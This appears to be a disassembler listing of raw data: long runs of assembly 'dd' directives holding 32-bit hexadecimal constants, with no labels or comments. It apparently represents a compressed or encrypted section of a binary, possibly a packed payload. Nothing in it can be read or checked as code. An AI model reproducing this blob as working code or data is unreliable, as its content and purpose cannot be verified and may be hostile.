		dd 0FDE8107Ah, 4FC48h, 0EBD895DEh, 77411DD6h, 90310002h
		dd 0CD8815BBh, 0E0040D86h, 440C6610h, 9646E80h,	0ABF31D34h
		dd 0AA7DC012h, 69405F62h, 2B441500h, 8714CB8h, 8942052Ah
		dd 80F7260Bh
		dd 541A25D6h, 50B54100h, 0DC73AE34h, 0DB8607C0h, 102CCBFh
		dd 401E8A0Ch, 7420FBD8h, 11F8382Eh, 762D0E00h, 17C0A69h
		dd 2466402Bh, 0D8787F84h, 0FE0E5861h, 0C230815Ch, 0E02856ABh
		dd 0F4FE9h, 23DB844Ah, 3F04EB20h, 0F7340D02h, 60243060h
		dd 392CC4h, 281FF874h, 18E048Dh, 0D84DC000h, 75348255h
		dd 0CDFE0EE6h, 0D400C463h, 3159127Ch, 0CB89F628h, 46140200h
		dd 0D8F701FEh, 78F00B7Eh, 0A507ECEEh, 0E03747F6h, 0BC7251C5h
		dd 0FFF8BF00h, 74320F54h, 92DF3961h, 94030FFDh,	86A020A2h
		dd 40100B76h, 3E051100h, 0C399D077h, 0C9BF000Ah, 0B004EE42h
		dd 0EB1FD55Dh, 5042A907h, 84D3FFB1h, 9EC7E8B5h,	884000CEh
		dd 0C9FE28h, 3C5AF275h,	2A8D029h, 0FF16FC00h, 30E35825h
		dd 0DB330012h, 40ABF2E0h, 0F008318h, 1C7507F8h,	0C018Ah
		dd 0E127259Ch, 0EBC23DAEh, 70005BE4h, 5381A224h, 37101B3h
		dd 4FA07615h, 8788C384h, 503F8205h, 0F82C8E5Ah,	0EC3C408Dh
		dd 368866Ah, 0B1C7805Bh, 27A05259h, 660133E8h, 0E94D78F8h
		dd 42F4A470h, 30201C29h, 45C7C00Dh, 77C391F4h, 50666000h
		dd 0E168F808h, 269C0012h, 0E835838Bh, 0CB03673Bh, 16602B6Ah
		dd 0A938A317h, 0BC7028EFh, 25EC0071h, 0E7FFC026h, 8702F89Fh
		dd 0C33FE283h, 0A3B3C00Bh, 0EC2A004Dh, 4F53019Ch, 570E5446h
		dd 4552F0h, 726F425Ch, 6E611F6Ch, 77440064h, 68701F65h
		dd 52C76907h, 46004C54h, 4D5550h, 6B73610Eh, 756C8256h
		dd 0CDC46500h, 13E3C32Ch, 0B33A00A8h, 0BF62E08h, 0F8A0D470h
		dd 921F6641h, 8BDFDC59h, 7E8D800h, 0C27790h, 3FE91C58h
		dd 0A09B2F1Ah, 8F69EF00h, 5E360F15h, 2EFD003Dh,	837ADC76h
		dd 773DE807h, 0D8458029h, 0E975F681h, 0FB3C00E4h, 0DC78A021h
		dd 340184CCh, 0EC9BE08h, 28FC1BE8h, 0F58000Ch, 641361B6h
		dd 460B058Fh, 200A3078h, 0A7197B17h, 6B5D0087h,	58144C99h
		dd 2000E07h, 51FF01B2h,	0ECF2FCh, 0ABD7CBC0h, 98D84B8Bh
		dd 4C793Fh, 635513CEh, 3B59AE09h, 2C5CAD9Ah, 2C2EE200h
		dd 18FD0B8h, 5B0D5100h,	600731FEh, 0F1B0335h, 0D439EDEBh
		dd 46DE1DA8h, 0C3830B03h, 0B8734C1Ch, 1BEF63Eh,	147B0306h
		dd 20383489h, 49001C1Eh, 0E3D13B75h, 0D4363Eh, 0E01076C9h
		dd 9AD05139h, 78D9460Eh, 0F312A190h, 9C20B0C3h,	934F0057h
		dd 4A68CC96h, 0FD0009D0h, 4BD30E0Dh, 768051h, 0AFF26602h
		dd 59550AF8h, 7F896400h, 0AB8358C3h, 0F0C80029h, 0F7FC475Ch
		dd 0B80A9196h, 0F480C4B0h, 4563C00h, 3D8F5324h,	91E1A1Ch
		dd 5E17C790h, 888B290Ah, 0E8D28D80h, 330092AFh,	7601584Bh
		dd 0FF5BD9h, 89F43E1h, 40F061A9h, 5152E800h, 7CF6A053h
		dd 50F80003h, 4A48F45Ch, 1000D881h, 896E8E64h, 5C694519h
		dd 4072408h, 0D0DF2B49h, 0FB0CA43Bh, 5B0A050Fh,	0E99BE059h
		dd 19C1C87h, 82C457Ch, 70090CACh, 1D00222Fh, 1E495081h
		dd 1D312358h, 0D7E32575h, 10F20018h, 0F852FF12h, 7A89500h
		dd 0AC58E409h, 0A37F00BAh, 0EAAEFD4h, 0E500E806h, 8012E073h
		dd 6041043Dh, 6A10E4E1h, 6B0466C2h, 0EDFADF05h,	0F6804F84h
		dd 24CC35h, 16DBC31Ch, 541962B6h, 3D026A00h, 0A3480AE4h
		dd 98083D32h, 52D16680h, 48814E0h, 80502B3Ah, 733F8C09h
		dd 28C7E995h, 8C528Bh, 1253CA07h, 0C9FC6949h, 9006E70h
		dd 39800141h, 128F4E9h,	81EB0ACBh, 30BE0F95h, 8B008F22h
		dd 10526E0h, 7C5DE7h, 0D21C6892h, 0EBAE0361h, 886ED400h
		dd 0C55951E1h, 2805385Ah, 4352119Ch, 46E22120h,	76D5F0D8h
		dd 0F8A1E00h, 29E3C4BFh, 11CF2A4h, 0F7BAE169h, 20E99CDFh
		dd 85160FC0h, 73000DB9h, 8B45DE38h, 0E6182C50h,	741405FBh
		dd 0A7FEC03Ch, 49023E19h, 22C80CCEh, 8438C0D2h,	0FF450E97h
		dd 14E09356h, 0BD8B258Dh, 0E0E15AF4h, 0CE013981h, 0E48EFFAh
		dd 1BF065C6h, 85094C89h, 0C937C3Fh, 2570083h, 62DB3153h
		dd 0C1417500h, 0C4ACE61Bh, 0A328005Fh, 0A68C882h, 0F074D22Dh
		dd 419B7A00h, 71247C1Ah, 0FF0D050Eh, 80941DB0h,	8B13061Ah
		dd 7C016F00h, 47C7045Fh, 0A6361FCDh, 0AC32C051h, 0E3FF22EFh
		dd 9CDDC600h, 42886596h, 79C9427h, 204108A0h, 1A4033E9h
		dd 0B286B850h, 0A1D0D50Eh, 8D0ACA1Eh, 0A2CA1F00h, 0F4023808h
		dd 750D3E8Ch, 0B386E980h, 0F1454231h, 8D0220Eh,	5A00D35Ch
		dd 559018Bh, 971018Dh, 6EDC589h, 0F043E834h, 0FE9AEF1Dh
		dd 3E183F80h, 3728F8h, 3BD81CDAh, 1775CC4Fh, 0F6D46400h
		dd 960DBA57h, 9471674h,	1FD30FD0h, 0C6289AE0h, 0DC267F8Ch
		dd 751F9E69h, 88383DEh,	0D8C0D94Bh, 6152AAh, 93149950h
		dd 0FFA96E5Ch, 24561B01h, 71381CE9h, 3384F0F7h,	48300F8Fh
		dd 10E08945h, 852E3F35h, 6A5B1203h, 0B3334936h,	0D337D06Bh
		dd 0DBE800B3h, 63FFA509h, 35071704h, 9208BAC9h,	903C4E90h
		dd 3EF4ED30h, 164200C7h, 77F32EC4h, 6A00267Eh, 0E8869608h
		dd 3AD1C23h, 49D4D152h,	5A88C06Eh, 57005554h, 1C53562Ch
		dd 0F80745h, 7BDF5222h,	548BE929h, 0C7304300h, 2F33A01Eh
		dd 0A9833FEBh, 89800AB8h, 0C042C48Bh, 4026022h,	9AA093FDh
		dd 0B593400Dh, 0BE4E0392h, 0D3B8BA6Ah, 5B389C0h, 0C0100607h
		dd 1181125Dh, 71206FA5h, 48ED0049h, 64F25A3Ah, 0D2000AB8h
		dd 8018C574h, 0E85D98h,	2DABA44Bh, 6705C3E2h, 0E9B84C00h
		dd 3465C0D5h, 1FBEF402h, 2250CC2h, 0D768D3F1h, 1C4BF5C0h
		dd 61BAA809h, 92408048h, 0C02081h, 5C742C7Fh, 9438EE5h
		dd 57C81500h, 778B052Dh, 876F0020h, 483DC7CFh, 0EB3F4EA0h
		dd 715C0060h, 833F01DAh, 91C500E8h, 0F830F936h,	500F3D52h
		dd 81112A96h, 0C932D38h, 462EDCh, 2406C313h, 0FDFA3AEBh
		dd 2F0F8600h, 94281F50h, 2C870326h, 2A47C8B0h, 5E8FC990h
		dd 22E4CDFCh, 1903CFE8h, 0F11A211Eh, 0A31693D7h, 0C312B3CEh
		dd 0E30ED3D8h, 0F30AF3DAh, 0F006F3D9h, 73ACAh, 2A25FFFBh
		dd 0C5240D5h, 807FE83Ah, 0C22C5D1Fh, 0AD0A404h,	0C89B6C75h
		dd 16A600AFh, 14305542h, 26A2B700h, 60663B81h, 4653004Ch
		dd 74184305h, 0B6008E1Dh, 13821B27h, 3DCCD889h,	1900FDB8h
		dd 674ABA44h, 0D003B4Eh, 25FACD16h, 3C86217h, 49D9B814h
		dd 29B05112h, 4D7F211Dh, 86384001h, 0A248A48h, 0EA577360h
		dd 309B0ACDh, 0E6DBE3h,	7CA005E2h, 2A00698Ch, 47B00B60h
		dd 1E75C839h, 0E14590h,	83092E53h, 0FF003EF9h, 1398674h
		dd 322F575h, 64938976h,	0BFA848A6h, 4724F19Ch, 541EE216h
		dd 82E40B80h, 4703Ch, 3A219DFAh, 0DB854031h, 77127E00h
		dd 4433C34Bh, 0AB0458DEh, 0C4D09700h, 0E7EE7F24h, 0EB5C12E4h
		dd 70F1006Ah, 0DD942010h, 374900CFh, 1EAB2229h,	9000C062h
		dd 0B7A4A160h, 4B9319h,	743330F8h, 5E7854DBh, 84859A00h
		dd 817EF33Bh, 0DF04001Ah, 521DCE60h, 6C0E27A8h,	0EF7F28C1h
		dd 51B880ECh, 0EBEBAC4h, 7D8D419Ch, 402EB9E3h, 8FA5F3C0h
		dd 0D9BC0500h, 10B80C21h, 0B02D1E89h, 0B41D0784h, 42A4F008h
		dd 8DF2AC15h, 0A0C44D2Eh, 0C1374500h, 277D8327h, 360177Bh
		dd 44792008h, 0F6C5823Ah, 40300CF2h, 481DD6A2h,	98C80759h
		dd 30C2C415h, 0E2FF0374h, 56263Dh, 53686A7h, 0DCFD41h
		dd 1C4A3D83h, 7754890h,	333C63Fh, 2E011324h, 0D1C0DC2Bh
		dd 1A20C9h, 0A214FE8h
		dd 24DC1F6Ah, 8D188400h, 6460C70h, 539C0016h, 2E32AB08h
		dd 0EE02657Dh, 0A21CBA15h, 1DD404Eh, 0A19039C8h, 170C3C81h
		dd 0F4C4E3ECh, 300033BFh, 0B0ACBBAFh, 389DB924h, 0D1000329h
		dd 0C280F1F7h, 250088FEh, 1C064B13h, 0E453CF2h,	2F946038h
		dd 0BA83B43h, 0D02992E8h, 5903BB7Fh, 830FAEB8h,	0CD8A98E2h
		dd 81170048h, 0D7E8C157h, 3C00ED97h, 0E26492D4h, 0DA098Dh
		dd 0FF191546h, 20061C77h, 2737F100h, 4C4E4836h,	872A0055h
		dd 0D8F71E73h, 40008B19h, 5E8E09C9h, 0BB6584h, 18BE380Ah
		dd 0B34BF0Ch, 7B5F8000h, 0CA167AC2h, 6A5600ECh,	0D0891705h
		dd 7609E3BCh, 8031E8F0h, 0EF75235Ch, 38120320h,	3E740584h
		dd 0ED2287F0h, 7F21BA24h, 2040161Dh, 14B88C42h,	0AFA20062h
		dd 0AC0E379Bh, 0EB000B1Eh, 0F20D134Bh, 0D63140h, 0E8181D8Ch
		dd 91B5C370h, 48385002h, 0C0250263h, 5099D2E5h,	0F89F761h
		dd 0F7230C43h, 76012B03h, 3F9215D8h, 6D00DCB0h,	3BE8AEC4h
		dd 194F96h, 0EBFF50FEh,	6740498h, 456EB000h, 4CC7D5CBh
		dd 3982Dh, 285329B1h, 0FE8525AEh, 8F46D703h, 0F8A03B83h
		dd 63E66h, 4DBBB750h, 0DE560382h, 0FB150F1Ch, 0EB5EC040h
		dd 6F508Ch, 6974721Dh, 20736E03h, 70C94300h, 67D1EF79h
		dd 0D0FB0068h, 0FC296328h, 39000E31h, 8F2C3338h, 1FD99637h
		dd 4055C290h, 28238960h, 0D4E5E90Bh, 8F3DA7A4h,	0DDF3808Dh
		dd 4D8BB3C8h, 1C1E0010h, 0FD2EC71Bh, 0F8004A60h, 0F357C49h
		dd 5030C89h, 428D50CBh,	6C49C0E1h, 580F2D8Bh, 4ED684B9h
		dd 19558013h, 7B2C03C7h, 856070Dh, 700F5B29h, 46DBCB4Eh
		dd 50CCF800h, 2D414523h, 51A007Fh, 65C34219h, 0D3775BFBh
		dd 480018E4h, 3DE6B904h, 0EB995Ah, 42877903h, 4B95137Bh
		dd 0D093A700h, 2B093622h, 2A7E0341h, 0EC8D8D2h,	83501CB0h
		dd 0C400AB7Eh, 810C338h, 0F2895Ah, 0F85BE1FCh, 0C60DE329h
		dd 4200047Eh, 0B6907774h, 0D667E0h, 0F865CF47h,	0FAF98C63h
		dd 0D8C73Fh, 0E9940951h, 914DF0h, 9A21D071h, 56591847h
		dd 81588C00h, 0BAF8E0C4h, 0D97E01DDh, 75F1EA74h, 0C75C2038h
		dd 0EB23A000h, 0BEFB8167h, 7D8B1398h, 9FE5002Ch, 0AA8D83A4h
		dd 503C0207h, 10805553h, 4843E8h, 0B862A6F1h, 3EF40D7Eh
		dd 94C71E00h, 2532A5CEh, 0D9330069h, 3D04B50Ch,	20004426h
		dd 22548CC5h, 0DE4816h,	0CA460729h, 98B8B480h, 0A90BD00h
		dd 0B9E28952h, 2C4A07D1h, 90880BADh, 210F2001h,	0A0F3AFEh
		dd 639517EAh, 0C0D68C99h, 70BFE02h, 37310381h, 0EBBD002Bh
		dd 680054E8h, 0D1890E42h, 0F6D295Ah, 4C265EE9h,	192D30A0h
		dd 3B016652h, 0AB32062h, 0DF8175Bh, 0E323A7Fh, 34810600h
		dd 94E4EB08h, 950368C0h, 76623Ah, 0DB501F3Fh, 8A143CA4h
		dd 4A0F42FEh, 81579080h, 0D7488951h, 70F217D0h,	0F77C00AEh
		dd 0C10158D1h, 0A4005FE6h, 0E060AA19h, 0FC4A62h, 0E77770C2h
		dd 0EF6832FEh, 0EE8B031Fh, 3593F701h, 0FECA43Fh, 0E684001Ah
		dd 8A4E34FDh, 793C8B1Ch, 0A7301FCh, 0CE39FA01h,	1EA26E8h
		dd 88482810h, 0E466505Ch, 91002413h, 2AF5A98Fh,	0F49817h
		dd 0D0A0AB90h, 88CAACA5h, 11426100h, 103B1FA4h,	145C001Dh
		dd 8B50BC08h, 8F0326E8h, 0E9414B24h, 0EA8B89Bh,	0D3720058h
		dd 5C50CE2Ch, 300FC04h,	0C771DC46h, 13DF92h, 674B8BD8h
		dd 45FAE573h, 53036300h, 5F580F23h, 7C1F0020h, 0F84F9FB9h
		dd 71F28CF5h, 0E9CA8900h, 0E550BA3h, 48740051h,	0A6506A52h
		dd 8B0F02EDh, 8710944Ch, 4170B8CFh, 78A4AFCh, 30B05AC3h
		dd 3B44A0C6h, 7E00149Ch, 0A258A99Dh, 0CE01D4h, 754B54A0h
		dd 7F55E6E9h, 0AC91EF03h, 395A884Ah, 94808D94h,	0CFBE0EBh
		dd 91004827h, 0C7A1D039h, 0CB258Fh, 0A8687F34h,	0A38B6B82h
		dd 579BAE0Bh, 77740398h, 0C2018802h, 0EAC10052h, 0E9CA35Eh
		dd 11011F91h, 4E204A58h, 0AD705F42h, 1CC60F83h,	0DE80D0C7h
		dd 5ACDF7E0h, 0ADCFF00h, 38102C22h, 4B410020h, 3A88C317h
		dd 81F60E0Ch, 0FFB8E307h, 2BD9E1h, 270573F5h, 0EBC00501h
		dd 0C0615D23h, 782D612h, 5E5A1500h, 0CA4B59B6h,	73957214h
		dd 2B6000B0h, 74B242F8h, 100E0CD4h, 40FC028Eh, 403861B8h
		dd 582800EEh, 879D832Bh, 89005325h, 92D71CFBh, 9AB0A4h
		dd 10B54845h, 78E28A0Ch, 975BEA00h, 8353D286h, 252D007Bh
		dd 3760FC58h, 84904A26h, 0DA391B01h, 0D3291F7Dh, 1949003Bh
		dd 117F9AA0h, 0D9F0A200h, 6F212C5Ch, 0D23107A7h, 0B089E541h
		dd 1356CDE3h, 5B682201h, 2E9B8C5Ah, 0FF31CCh, 0D0D848F7h
		dd 5883239Dh, 1DDB780Eh, 0E8814075h, 0C2ABFEh, 0E0882009h
		dd 0A3B937F0h, 0BDF72C03h, 9070FCE2h, 7301A41h,	0F228989Ah
		dd 32A9006Eh, 0EA032110h, 0F1399550h, 0E9DAF87Ch, 74EC4C63h
		dd 3850D824h, 680AE38h,	0A1015BE8h, 2600B093h, 17436AA9h
		dd 0F4630Ch, 0E73B5D50h, 84D38BDEh, 531C3000h, 0A480B08Ah
		dd 31FB1EA5h, 7C0AC009h, 189C06E8h, 21F02507h, 12D77698h
		dd 0C42A83B0h, 4F1A0239h, 85E2EC7Fh, 0D0CB8B41h, 0D000C34Eh
		dd 1D19706h, 2661F880h,	98EF8Eh, 7A46A00Bh, 5800400Ch
		dd 8162FE0Dh, 7BFD0Eh, 24610F02h, 40121688h, 8B8E1100h
		dd 0EC588127h, 83180091h, 7FA001F9h, 0C300A60Ah, 0C97CE934h
		dd 0C6B0C7h, 0EB29195Fh, 7101A78h, 1D033377h, 532F286Ah
		dd 0B161AB09h, 13FC1FB2h, 74850023h, 0E0F38B0Fh, 893B5552h
		dd 541880D5h, 32C0A2Eh,	2EC005Ch, 6F4DC98h, 0A339ABA8h
		dd 0B81D0029h, 0D43515A6h, 931A003Dh, 77D5DC1Fh, 0F0000516h
		dd 11EEB5Dh, 7E80443h, 0F183303h, 8F3CA0DAh, 5400B511h
		dd 249DF129h, 0A1AE48h,	4B1FE965h, 408E9052h, 0DA21F1A0h
		dd 23751000h, 0C86111C6h, 57F90E26h, 4C7250Eh, 3AA7C03Ch
		dd 0B71320D4h, 1F077E66h, 55A038CDh, 3B34239Ch,	0F480A240h
		dd 2EADC88Dh, 8900D568h, 84245B1Ch, 0B8C48267h,	2D60190h
		dd 6AB0CE16h, 0B2EE708Fh, 0ADA43Ch, 9331D898h, 9F9426h
		dd 3D45094Ah, 8E2BAE32h, 0DFF0AA00h, 3356504Ch,	28410157h
		dd 2371A4E6h, 9018FC5Eh, 5AA17003h, 0F88031F8h,	1E6B9FCDh
		dd 53AFA81Eh, 0AD0200F7h, 0F8BB85D5h, 38575517h, 0E4949200h
		dd 0FB078h, 0C2E31BB5h,	0D4089210h, 93BD630Fh, 0D5A927F7h
		dd 83287500h, 7772FCFAh, 0E1810023h, 37AC6DA6h,	897A7810h
		dd 3EF6191Dh, 661C63C0h, 3A9125C7h, 5E00E9F8h, 6B300D49h
		dd 43E669E8h, 80942B38h, 8366196Dh, 132A8038h, 0E1DE31h
		dd 97864E77h, 8400FD32h, 274908DDh, 0FF0270h, 0E2481551h
		dd 66C061E1h, 5A197B00h, 0F83A6058h, 95110073h,	1EDD130Eh
		dd 0B2137A4Ah, 0A4000D48h, 3A70C36Ch, 147F00CDh, 757E880Fh
		dd 553C0826h, 8658802Ch, 6DE52F78h, 627C82h, 0EAB17109h
		dd 8F814989h, 0C30F507Ah, 152924Ch, 0C0091073h,	85D360h
		dd 0D602FF1Dh, 0BCF0655Ch, 8D876E01h, 0B951817Dh, 7D32420h
		dd 2DA05989h, 0F045D0D8h, 2B00E816h, 5558902Fh,	4F1068h
		dd 0A8C49D3Dh, 0E445A62Dh, 2503E57Dh, 13573898h, 680E51Bh
		dd 7B51178Dh, 29230042h, 0C93EB7F3h, 97004F54h,	28C0459Fh
		dd 99F96Ch, 1C552407h, 0C62DD503h, 9D123C79h, 3100C8FFh
		dd 0A01B48EBh, 604D3C72h, 0BAE14C77h, 0AC428F00h, 0F7272B7Bh
		dd 0C392051Dh, 4500DE9Dh
		dd 32071AD3h, 1CFB8F6h,	4399F8BAh, 0C3FC0C08h, 0B725EB98h
		dd 81EAAF07h, 2C50E8CFh, 18E195h, 3F53CA42h, 2888B4D2h
		dd 80035177h, 564A12BDh, 0EDC9C865h, 29C50045h,	387435Fh
		dd 0A5000182h, 0CCBD0859h, 176C8397h, 0E05109D8h, 8D03BA60h
		dd 3162279Ah, 5672E057h, 6DEE09ACh, 0BFA09C53h,	52D9C907h
		dd 0FCD83B00h, 0E81A3111h, 8F500017h, 0CC2EE2E9h, 0A41D3D59h
		dd 0CB404875h, 1908FB14h, 2DD30084h, 55F34D29h,	130052EAh
		dd 3E716921h, 3C60490Bh, 0CB03586Eh, 0E723613Ch, 2BD308E0h
		dd 777C7200h, 4D5EC0B3h, 1D4B73CCh, 80F83231h, 15A3110Ah
		dd 770B66C5h, 0B99563h,	0CED94CD2h, 6A1F00D6h, 0A7FC655Ah
		dd 4600248Ch, 0F0819A69h, 306D9812h, 877CAB9Ch,	6609EC83h
		dd 4D810h, 0B958E0BFh, 0E882001Eh, 0E2512DF3h, 4C486A49h
		dd 0C4007645h, 357A5B10h, 590F38h, 0C307658h, 6F70FF1Ah
		dd 100106EAh, 998F0428h, 0E2C589A2h, 151E160h, 347B2C5Bh
		dd 2014B318h, 0F80049C6h, 1FF62775h, 8042Dh, 54A2804Ah
		dd 2F96060Ah, 528CA500h, 3C940745h, 60833CC7h, 0E59A1789h
		dd 38967A80h, 0E407864Ch, 721C6A27h, 44F5C08Fh,	1F7B814Bh
		dd 0CF104A7Ch, 62075FEh, 2EB7A91h, 24F04633h, 1578D81Ch
		dd 72810009h, 19740751h, 41C423Bh, 0FF400A56h, 0C0105E9h
		dd 0F27C75h, 0B2848DF5h, 0E72432BDh, 824BE400h,	0D2FEE023h
		dd 369A0037h, 9F056830h, 0E30B858Dh, 14521D7h, 0E2B4EBD3h
		dd 0EE70D8h, 68D5A3B5h,	520F823Fh, 942D4F00h, 10CC141h
		dd 74141C0Eh, 0B0E2401Eh, 6D75243Eh, 0A342960Fh, 0B590C040h
		dd 52E83Ch, 0A40EC76Ch,	9AB2BD6Bh, 6F00E072h, 2CDCF96Ah
		dd 195329h, 0AC4411Ah, 0A9D0681Bh, 9E3D5B00h, 40AA144Ah
		dd 0E3D63B16h, 0B0E57DF3h, 63E80013h, 56A3113h,	0F3009433h
		dd 0FBEA038Ch, 3E185D71h, 0F6120DE3h, 21BF0028h, 0AF84B0A0h
		dd 491FDF00h, 3806F37Dh, 640C000Ah, 559F21EEh, 1B58883Eh
		dd 0E290048h, 0EB1F031Eh, 804B0082h, 43422E3Bh,	0C9001092h
		dd 0A58F008h, 0F66D2874h, 21EF003Dh, 53AF5290h,	2007591h
		dd 347B9CAh, 0F285AD79h, 69050046h, 8F554074h, 2000B826h
		dd 0F5456E90h, 9C245Ah,	0ED64C696h, 666F99C0h, 770B7400h
		dd 79657261h, 4C470014h, 3FFF6387h, 4800CAEFh, 0EC2D1C95h
		dd 923A530h, 88B24BB8h,	0A1F66180h, 0F048BC0Ch,	3A7D0049h
		dd 213912A3h, 420F00B1h, 5D8B090Ah, 550129F8h, 0BC041E84h
		dd 30F4A275h, 0F91F6137h, 0F039619Dh, 990E2EC7h, 8478325Dh
		dd 7980A356h, 98A598DDh, 1A4EA81h, 0AD348542h, 0EB9102FBh
		dd 0D44731E0h, 7AB883Fh, 53BFC41h, 0FA0C504Ch, 450A0023h
		dd 0A11FEB84h, 2B00CBCDh, 108BE002h, 0D8E23Bh, 0ADEEC70h
		dd 3C8E1295h, 2DEF0600h, 1B9EAE9h, 0D92B00C2h, 51F62C38h
		dd 5200C6B4h, 1F18B68Dh, 7B923Dh, 3F813684h, 62382A7Dh
		dd 438BB100h, 78030998h, 4CB300E8h, 0B89192Fh, 1B0314EFh
		dd 1FFD120Ah, 0A09FB7F3h, 68359651h, 0F9B90FC8h, 8002002h
		dd 16BC90B1h, 0E800A0B8h, 0F6E0923Ch, 30106150h, 0BA880C06h
		dd 0FC00580Eh, 0E80814C8h, 0E2AAAF93h, 0C31F03E6h, 0E119DB1Ah
		dd 0F3F56DF8h, 1D1BEF00h, 1E568B51h, 1A7E00A2h,	0FAC7C9D2h
		dd 4600FCD9h, 3352A9BAh, 88B311h, 34591404h, 2CF7EB86h
		dd 0CD829D00h, 7949D7B0h, 2185005Bh, 27017548h,	702C6919h
		dd 8902ECB1h, 602D0C46h, 0EB178382h, 90450EF0h,	6C481F36h
		dd 702E4020h, 1A3566E9h, 2D002A90h, 3925BA80h, 162B4B9h
		dd 1C460AC7h, 0D8B24328h, 183D27EBh, 2221E3Ch, 110F00FCh
		dd 0C829C053h, 2462C057h, 44200C84h, 2C805400h,	9127487Eh
		dd 965F00AEh, 516B0F15h, 841F8110h, 3CC0468Dh, 32DA53F4h
		dd 0EBECFFh, 81068920h,	0B3042A7Eh, 85FE8B00h, 0FF1FA363h
		dd 50EE004Eh, 0E82836EAh, 0C800747Bh, 2D8CC944h, 730B81h
		dd 0E2B1AABAh, 0AB395019h, 87AD183Ch, 5489435Ch, 4B8D61D0h
		dd 0A6A50096h, 9136FFF0h, 5A0E9347h, 278B4AB0h,	0D96E4Eh
		dd 0BC8014C3h, 241D0406h, 0C0165B1Ah, 2B21FA52h, 5C00C2E2h
		dd 6764744Ah, 398CA315h, 0EB005D2Ah, 5445C622h,	0B2039552h
		dd 6A580129h, 5E85E8F6h, 83E800F5h, 3B74B461h, 5890B04Ch
		dd 2417DB00h, 0C67E6B6Fh, 15360010h, 0FA077502h, 0E4F45722h
		dd 0B0C35E30h, 124B47Ch, 44B8888Ch, 6012EB69h, 62017BFFh
		dd 0DD2FDB96h, 12308D4Ah, 0CF041D49h, 8D44114h,	7BDEB14Eh
		dd 0E424B802h, 1B1140B3h, 9C18051Ah, 0E014329Fh, 24070458h
		dd 0D2A93EC7h, 82B52590h, 880207C0h, 0A021FB08h, 0A5C11F1h
		dd 0FE010700h, 0C3E875CDh, 6F2800BDh, 0FA810C91h, 63FCBA49h
		dd 681CF1A0h, 0C30EEF03h, 0A0AF20D4h, 1467B8F7h, 8EE9B716h
		dd 253CCE0Fh, 0F0498DC0h, 0D8005040h, 1AA8EA2Ah, 0A830Eh
		dd 197702FAh, 8B0B4254h, 530FE1F4h, 0A9132524h,	2CF200C2h
		dd 733D7482h, 0DFC34C48h, 0BF3FF000h, 0B479D37Fh, 0F1DA1E07h
		dd 0B09021DBh, 200A10h,	0C7E81803h, 89C6B335h, 1F5E0439h
		dd 0F20056FFh, 643E5195h, 6AB80031h, 424B7166h,	8F01BAF1h
		dd 0F4BE6E70h, 0B7C49FA1h, 7B30094h, 9D22B02Dh,	467A7881h
		dd 2E753D00h, 3143EF9h,	0F37258h, 0F62B3953h, 7FD13B06h
		dd 0B71658h, 61FDCAF4h,	5F3D024h, 2A1ACA4h, 0EB71C033h
		dd 420001DAh, 44CAFE46h, 738F93Dh, 51A7753Ah, 36451002h
		dd 0C5005805h, 74493141h, 9921B7h, 0ABD6775Ch, 0CD713307h
		dd 0B5BA8E00h, 0F98341D0h, 7E3A1D40h, 10E98021h, 0CDB95187h
		dd 53260D00h, 0B8F2E79h, 7757919h, 52FD55Bh, 0B560A008h
		dd 1A01AC45h, 9CE425A8h, 7B6028A2h, 2BECFD4Eh, 0B7E00CBh
		dd 0D118FBB2h, 2530BEE8h, 5BFDFE5Ah, 0BA1D0048h, 0ABD986Bh
		dd 0C100544Ah, 535A0E9h, 0F81EDB28h, 3B240407h,	0C07D0830h
		dd 0F1898E7h, 0FF118800h, 0CCE1B740h, 27D33B58h, 0ACE25A80h
		dd 0CA1252CBh, 0A2C9D41Ch, 9E91980h, 597C74Dh, 5905C358h
		dd 7AED0E51h, 310021CBh, 0AB5A6C62h, 7509A400h,	81F04C24h
		dd 83FA002Dh, 164F4EEh,	0F700AEF2h, 188E49D1h, 0ED22B5Ah
		dd 3051970Ah, 0D087596Fh, 0AB3790D7h, 74007269h, 1C1F7C5Ch
		dd 103D45h, 8D0F0D14h, 0C13F917Fh, 3CE26D2Eh, 0DB92F800h
		dd 3855122Ch, 19034874h, 0E8C1C9DEh, 24AB28F0h,	0F14161Fh
		dd 84180CC0h, 0F06149AAh, 228800ACh, 451F8004h,	82484AD0h
		dd 0A2D800AAh, 0BC427D48h, 0F9400044h, 0E0AC213Ch, 313B0A73h
		dd 3E9B4C53h, 0F4C38058h, 656A6E2Dh, 0EED900E7h, 820114AEh
		dd 7F00FF80h, 1C3F0AB9h, 223A0h, 5C88840h, 8E08FA50h, 479CEE0Eh
		dd 0C340DE0Ch, 0F424E10Fh, 80180012h, 16989611h, 0BC1E2081h
		dd 28DE19BEh, 1CEE6BC7h, 95B307BBh, 0B7FC0DE0h,	0BA210043h
		dd 0A5108023h, 1903E8D4h, 2A0E8479h, 8891A0E7h,	0F4C4FF40h
		dd 0B5E61F20h, 0A002C02Dh, 0E35FA931h, 4103000h, 1BC908BFh
		dd 4034008Eh, 0A2BC2EC5h, 3700B122h, 3A0E76FAh,	70DE0B6Bh
		dd 0BDE80091h, 8AC7233Dh, 6200883Eh, 0EBC504ACh, 0E041AD78h
		dd 177A0080h, 0D71026B7h, 90E044D8h, 916EAC2Eh,	0A8878600h
		dd 5057B4F5h, 1C169503h, 4BA968h, 0CCEDA114h, 0C2011BCEh
		dd 1F4E7AD3h, 87F484A0h, 59510F61h, 0C8205267h,	749019A5h
		dd 6F76B907h
		dd 3A00557Ah, 1F4200Fh,	0CECB8F27h, 0C018585Ch,	0F8039409h
		dd 813F3978h, 0E500E77Ah, 0F36B90Bh, 0A18F07D7h, 0DF015F60h
		dd 40E674Eh, 40F2C9CDh,	2296E862h, 55810048h, 0FC6F7C07h
		dd 9E0FA065h, 402B70B5h, 9DC5ADA8h, 0D5F00069h,	1BFFCFA6h
		dd 78031F49h, 14A3D0B6h, 16C5809Bh, 0EFB300ABh,	13E0413Dh
		dd 5426E98Ch, 93002D03h, 17AAD0A8h, 17FE0E6h, 0B616A12Bh
		dd 0C06B4212h, 39002755h, 0E070F78Dh, 0E030F47Ch, 0E33C01C9h
		dd 8A5296FFh, 908EECE7h, 9D009E70h, 0AA7EEBFBh,	0E08C4351h
		dd 5C6A002Fh, 0D226FC19h, 7600F4BBh, 0F2CCE30Fh, 7384C729h
		dd 0D2444881h, 0F7E09000h, 9F76A427h, 17F438h, 10AEF8AAh
		dd 7BC4C5E3h, 5970FAh, 36E9B09Ch, 64F28AD6h, 0D40045E0h
		dd 0E1EBF7F3h, 3D7A4Ah,	621DCF95h, 0DC0740A2h, 0B83ED80Eh
